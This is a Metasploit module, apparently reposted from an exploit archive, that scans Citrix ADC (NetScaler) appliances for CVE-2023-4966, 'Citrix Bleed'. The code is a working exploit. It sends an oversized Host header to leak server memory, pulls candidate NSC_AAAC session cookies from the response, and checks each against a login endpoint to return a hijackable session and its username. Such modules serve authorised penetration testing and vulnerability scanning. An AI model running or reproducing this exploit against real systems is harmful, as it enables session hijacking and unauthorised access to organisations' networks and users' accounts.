Share
## https://sploitus.com/exploit?id=PACKETSTORM:181041
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
COOKIE_NAME = 'NSC_AAAC'.freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Citrix ADC (NetScaler) Bleed Scanner',  
'Description' => %q{  
This module scans for a vulnerability that allows a remote, unauthenticated attacker to leak memory for a  
target Citrix ADC server. The leaked memory is then scanned for session cookies which can be hijacked if found.  
},  
'Author' => [  
'Dylan Pindur', # original assetnote writeup  
'Spencer McIntyre' # metasploit module  
],  
'References' => [  
['CVE', '2023-4966'],  
['URL', 'https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966']  
],  
'DisclosureDate' => '2023-10-25',  
'License' => MSF_LICENSE,  
'Notes' => {  
'Stability' => [],  
'Reliability' => [],  
'SideEffects' => [],  
'AKA' => ['Citrix Bleed']  
},  
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def get_user_for_cookie(cookie)  
vprint_status("#{peer} - Checking cookie: #{cookie}")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'logon/LogonPoint/Authentication/GetUserName'),  
'headers' => {  
'Cookie' => "#{COOKIE_NAME}=#{cookie}"  
}  
)  
return nil unless res&.code == 200  
  
res.body.strip  
end  
  
def run_host(_target_host)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'oauth/idp/.well-known/openid-configuration'),  
'headers' => {  
'Host' => Rex::Text.rand_text_alpha(24812),  
'Connection' => 'close'  
}  
)  
return nil unless res&.code == 200  
return nil unless res.headers['Content-Type'].present?  
return nil unless res.headers['Content-Type'].downcase.start_with?('application/json')  
  
username = nil  
res.body.scan(/([0-9a-f]{32,65})/i).each do |cookie|  
cookie = cookie.first  
username = get_user_for_cookie(cookie)  
next unless username  
  
print_good("#{peer} - Cookie: #{COOKIE_NAME}=#{cookie} Username: #{username}")  
report_vuln  
end  
  
return if username  
  
begin  
JSON.parse(res.body)  
rescue JSON::ParserError  
print_status("#{peer} - The target is vulnerable but no valid cookies were leaked.")  
report_vuln  
else  
print_status("#{peer} - The target does not appear vulnerable.")  
end  
end  
  
def report_vuln  
super(  
host: rhost,  
port: rport,  
name: name,  
refs: references  
)  
end  
end